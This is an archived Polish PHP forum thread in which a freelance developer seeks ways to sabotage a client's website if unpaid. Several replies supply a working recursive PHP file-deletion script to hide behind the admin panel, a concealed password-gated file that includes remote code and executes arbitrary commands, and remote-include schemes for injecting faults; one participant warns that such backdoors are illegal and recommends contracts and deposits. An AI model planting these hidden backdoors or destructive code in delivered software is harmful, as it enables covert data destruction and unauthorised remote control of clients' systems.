Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: Zabezpieczenie przed nieuczciwym klientem
Forum PHP.pl > Inne > Hydepark
cyberpooh
Witam!
Najpierw moze przedstawie sytuacje.
Mam klienta dla ktorego pisze serwis, ale ostatnio zaczely sie pewne klopoty z dogadywaniem sie. Obawiam sie ze w momencie zainstalowania strony na ich serwerze (a w umowie jest napisane to jako warunek ukonczenia strony i wyplaty nazleznosci) zostanie zmienione haslo do serwera, oni beda miec stronke i nie wyplaca mi pieniedzy. Nie mam ochoty sie bawic w prawnikow i ciagac sie po sadach bo nie mam na to czasu, chce wprowadzic jakies zabezpieczenie kasujace strone.

Prosze was o jakies pomysly w tym temacie.
Mi przyszlo do glowy, wsrod bibliotek zakodowac funkcje, ktora zostanie uruchomiona po wejscu na specjalny url z kodem, kasujaca wszystkie pliki php. Ale widze w tym juz kilka problemow.

Moze jakies inne sposoby?

Pozdr

php -> Hydepark / crashu
_Mateo
ja bym zrobił jakis plik dobrze ukryty o niepozornej nazwie i jak go odpalisz to kasuje wszystkie slady po stronie - wg mnie powinno zdac to egzamin

daj tez do tego jakis panel logowania, zeby ktos niepowolany nie usunal gosciowi serwisu tongue.gif
seaquest
Prosta sprawa: kupujesz licencję Zend Encodera, kodujesz pliki, instalujesz mu aplikację na serwerze, jak zapłaci, dajesz mu klucz odblokowujący aplikację.
chojraq
Robisz plik php w ktorym jest taki kod:

  1. <?php
  2.  
  3. class Clear {
  4.  
  5. function Clear( ) { }
  6.  
  7. function run( ) {
  8. deldir( DOCUMENT_ROOT .'libs' );
  9. deldir( DOCUMENT_ROOT .'actions' );
  10. deldir( DOCUMENT_ROOT .'templates' );
  11. deldir( DOCUMENT_ROOT .'template' );
  12. deldir( DOCUMENT_ROOT .'compiled' );
  13. deldir( DOCUMENT_ROOT .'models' );
  14. deldir( DOCUMENT_ROOT .'blocks' );
  15. unlink( DOCUMENT_ROOT .'index.php' );
  16. unlink( DOCUMENT_ROOT .'LibDir.php' );
  17. } // tutaj podajesz dostep do katalogow
  18.  
  19. function _die( ) {
  20. out( &#092;"niszcze obiekt\" );
  21. }
  22. }
  23.  
  24. function deldir($dir) {
  25.  $dh=opendir($dir);
  26.  while ($file=readdir($dh)) {
  27.  if($file!=&#092;".\" && $file!=\"..\") {
  28.  $fullpath=$dir.&#092;"/\".$file;
  29.  if(!is_dir($fullpath)) {
  30.  unlink($fullpath);
  31.  } else {
  32.  deldir($fullpath);
  33.  }
  34.  }
  35.  }
  36.  
  37.  closedir($dh);
  38.  
  39.  if(rmdir($dir)) {
  40.  return true;
  41.  } else {
  42.  return false;
  43.  }
  44. }
  45.  
  46. ?>


Potem na katalogi dajesz chmod 777, a funkcje wywolujesz np: z panelu admina ktora bedzie dosyc dobrze ukryta. Wiem ze dziala bo sam musialem tego uzyc kiedys...
cyberpooh
ZendEncoder odpada.
Widze ze rowniez myslicie o kasowaniu plikow.
Ale jak napisalem wczesniej, widze w tym pewien problem. Za pierwszym razem, owszem bede mogl zmienic chmod 777 , ale jezeli koles postanowi jeszcze raz uploadowac pliki na serwer to wtedy kasowanie juz sie nie uda... dlatego chodzi mi raczej o inne pomysly... sam nie wiem jakie smile.gif
strife
Ale chmod" title="Zobacz w manualu PHP" target="_manual można zmieniać z poziomu php...
chojraq
No i sprawe masz rozwiazana piszesz funkcje ktora zmienia chmod na samym poczatku wywolywania skryptu a potem kasujesz pliki...
cyberpooh
tak, ale pliki wrzucasz jako user xxx i
ownerem plikow jest user xxx.
a php chodzi zazwyczaj(w tym przypadku napewno) jako user nobody i chmod nie zadziala.
patrycjusz
Witam,

pozwolę sobie na poruszenie kilku kwesti,
- w momencie oddania produktu - produkt należy już do Klienta i każda próba pozbawienia go tego produktu zachacza o paragraf, inną sprawą są dochody Klienta dzięki twojemy produktowi - tutaj możesz śmiało walczyć o swoje - przekazanie praw autorskich bez opłacenia produktu jest bezskuteczne,
- odpowiednia umowa (najlepiej licencyjna) - odpowiednio skonstruowana umowa to połowa sukcesu w późniejszym ściąganiu należności, w niej warunki na jakich zasadach, za co będzie płacone, jakie terminy płatności itp, drugą połową sukcesu jest protokół odbioru po każdej pracy jak oddajecie Klientowi projekt (najlepiej jeszcze po każdym etapie) podpisanie protokołu odbioru - dopiero potem instalacja na serwerze wskazanym przez Klienta.
- zbieranie wszystkich wymienionych z Klientem informacji - zasada: im masz więcej kwitów które Tobie nie szkodzą tym lepiej.

Jeżeli IT jest dla was dochodowym biznesem warto skorzystać z porady prawnej i zakupić dobre wzory umów - to zawsze procentuje.

Są jeszcze środki perswazji, np:
- regularnie Klientowi dawaj do zrozumienia, że jesteś osobą która zna się na swojej pracy i oczekuje za to godziwego wynagrodzenia - czasem widać wtedy jak na gołej dłoni czy będzie miał ochotę zapłacić czy nie,
- formalne wezwania do zapłaty z groźbą skierowania sprawy na drogę prawną (oczywiście jeżeli sporo upłyneło wody w wiśle po terminie),
- regularny telefon z pytaniem o płatności (jeżeli upłynął termin) - daje do zrozumienia że oczekujesz na swoje pieniądze i albo firma wymięka i mówi Ci wprost "spie... " albo płaci lub w inny sposób stara Ci się wynagrodzić twoją pracę.

Zaznaczam jednak że podstawą jest zabezpieczenie swoich interesów czyli 1. odpowiednia umowa 2. zaplecze prawne (nie ważne jak duże ważne że jakieś winksmiley.jpg. 3. ZALICZKA.

Backdoory itp, stanowczo odradzam - jest to paragraf i świadczy bardzo mocno na waszą nie korzyść.

Dodam jeszcze że naturalną sytuacją jest brak terminowych płatności, nie ma reguły dlaczego, ale najważniejszą sprawa jest wtedy działać z głową, nie wykonywać już nic dla tego Klienta do momentu płatności, powoli analizować każdą wypowiedź Klienta i ją archiwizować, CHŁODNO z nim rozmawiać, baaardzo chłodno, nic tak nie denerwuje Klienta jak jesteś dużo spokojniejszy od niego i dajesz mu wyraźnie do zrozumienia że czekasz na swoje pieniądze i nie będziesz czekał dłużej niż....

Pozdrawiam Patrycjusz Szydło

P.S. warto też badać swoją sprawę na grupie pl.soc.prawo winksmiley.jpg tam jest masa dobrych fachowców i są życzliwi winksmiley.jpg
cyberpooh
W sumie masz racje, backdory moga zle wplynac na cala sprawe.
Umowa zostala juz podpisana i tutaj nic sie nie zmieni.
Jest zapis o zaliczce, o odbiorze strony protokolem.
Natomiast jesli chodzi o licencje, nie mialem w rekach jeszcze tego typu umowy, czy jest szansa abys podeslal mi wzor takiej ?
Ew. gdzie oprocz pl.soc.prawo znalezc? Wiekszosc umow ktore mam sa umowami o dzielo gdzie nie ma slowa o licencjach.
Ace
a jesli w umowie zastrege sobie mozliwosc zablokowania/skasowania strony gdy termin platnosci przekroczy jakis okres? Wtedy bede mial chyba prawo do uzycia backdora, oczywiscie w skryptach php mozna wykryc kod opowiedzialny za skasowanie systemu, poza tym zawsze oni moga miec backupa.
NuLL
Pomysł z usunięciem wszystkiego jest bardzo fajny wg. mnie o ile ktoś nie robi backupów - nie mając umowy można zrobić jeszcze jeden fajny myk - co kupującego boli - wypuścić aplikację na Sieć...

Pozatym jeśli klient nie ma pojęcia o php można sobie zrobić wtyk do włamanie się do aplikacji - jeśli zapłaci można ją załatać.
cyberpooh
wypuszczenie w siec nie wchodzi w gre poniewaz jest w umowie zapis o poufnosci.
Pozatym tez nie mam ochoty oddawac kodu nad ktorym siedze.
Ale juz wiem jakiego zapisu zabraklo w umowie, a ktory pozwoliby mi skasowac strone jesli nie zaplaca:
"Prawa do strony przechodza na rzecz zamawiajacego w momencie zaplaty pelnej naleznosci za dzielo"
mniej wiecj takie brzmienie smile.gif
przynajmniej tak mi sie wydaje...
DavidPL
Możesz jeszcze wprowadzić mechanizm w stylu:
Oprogramowanie łączy się z Twoim serwerem i ściąga pewien kod php, a następnie go wykonuje.
Jeśli koleś nie zapłacił możesz mu uprzykrzyć życie generując różne, sztuczne błędy czy dodając coś do skryptów.
Jeśli zapłacił ściągany kod usuwa mechanizmy "sprawdzające legalność".

Oczywiście najlepsza jest porządna umowa, a opisany sposób ma dużo wad i można nad nim sporo popracować.
cyberpooh
davidpl
ten pomysl mi sie podoba... to moze byc calkiem niezle ! pomysle nad tym.
patrycjusz
Cytat(cyberpooh @ 2005-07-20 12:49:49)
"Prawa do strony przechodza na rzecz zamawiajacego w momencie zaplaty pelnej naleznosci za dzielo"
mniej wiecj takie brzmienie smile.gif

Jeżeli jest coś w stylu:
"Pozostałe bla bla regulują sprawy kodeksu cywilnego bla bla"
to jest wyraźny aspekt w tej sprawie - dopóki Klient nie zapłaci za wykonaną pracę nie może z niej czerpać korzyści majątkowych.

Co do licencji - mam licencję bardzo wysokiej jakości, ale niestety darmowo udostępnić jej nie mogę - troszeczke mnie kosztowała winksmiley.jpg
Mail: patrycjusz.szydlo@tigroup.pl - daj znak jeżeli możesz przeznaczyć jakieś finanse na tą sprawę a napewno się dogadamy.

pzdr
aleksander
a nie lepiej zrobic zamiast sztucznych bledow, po ktorych koles sie bedzie wiedzial co sie dzieje i sie wkurzy, duze napisy "NIE ZAPLACILES ZA TEN PRODUKT" itp itd, najlepiej jezeli cos takiego bedzie tez w miejscu widocznym dla ogółu...smile.gif
hwao
tongue.gif mnie sie wydaje ze bardziej "bezpieczne" bedzie cos takiego:
masz plik np core.php (powiecmy ze nie masz die/exit () na poczatku smile.gif )
i jak sie odpala go normlanie to nic sie nie dzieje a jak sie da np
?pass=jakiesHaslo&file=http://twojastrona.pl/cos/plik.txt
(haslo masz zapisane w pliku i porownujesz md5 )
a file to dla bezpieczenstwa plik ktory jest zalaczany przez include/require fsockopen->eval

W nim zrob sobie kod php z formularzem i to co zostaje wpisane w formularzu zostaje wykonane przez skrypt php smile.gif

wtedy jak masz dajesz `ls`; i sobie patrzysz co i jak smile.gif a w razie czego mozesz pisac normlny kod php.
ebe
A backup? Nie uważacie, że nieuczciwy klient może odzyskać stronę z backupu robionego na serwerze hostingowym?
Ace
wiesz backup wtedy to nie problem, bo jesli on nie wie gdzie jest to zabezpieczenie, to 2,3 i 4 raz mu tak zrobisz, co zniecheci go...

Jesli licencja to na jakich warunkach? Jako licencja na strone za calosc na zawsze, czy na jakis czas (okresowa)?

Ostatnio zastanawialem sie nad licencjami rocznymi, na nieduze kwoty, zawsze wtedy klient jest zwiazany z nami w pewien sposob.
cyberpooh
oczywiscie ze moze odzyskac z backupy firmy hostingowej... albo poprostu z cd ktore mu dam.
Dlatego wlasnie pomysl z kasowaniem plikow jednak odrzucam, a bardziej sklaniam sie za includowaniem czy podobna forma, plikow z mojego serwera.
jak cos wymysle madrego winksmiley.jpg to sie napewno podziele tutaj.

najprostsza rzecz ktora mozna zrobic to require/include

np.

include("http://mojserwer.pl/biblioteka");
gdzie "biblioteka" jest plikiem php
w ktorej beda podstawowe, lub nawet wszystkie funkcje wykorzystywane na stronie.
widzicie jakies minusy tego rozwiazania?
Imperior
Jeden warunek - klient nie kumaty w php... Bo tak, to przecież można sobie to samemu ściągnąć.
cyberpooh
no to sprawa oczywista,
w zasadzie jakie zabezpieczenie by sie nie zrobilo to jak klient da kod drugiemu programiscie php to zdejmie wszystko.
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.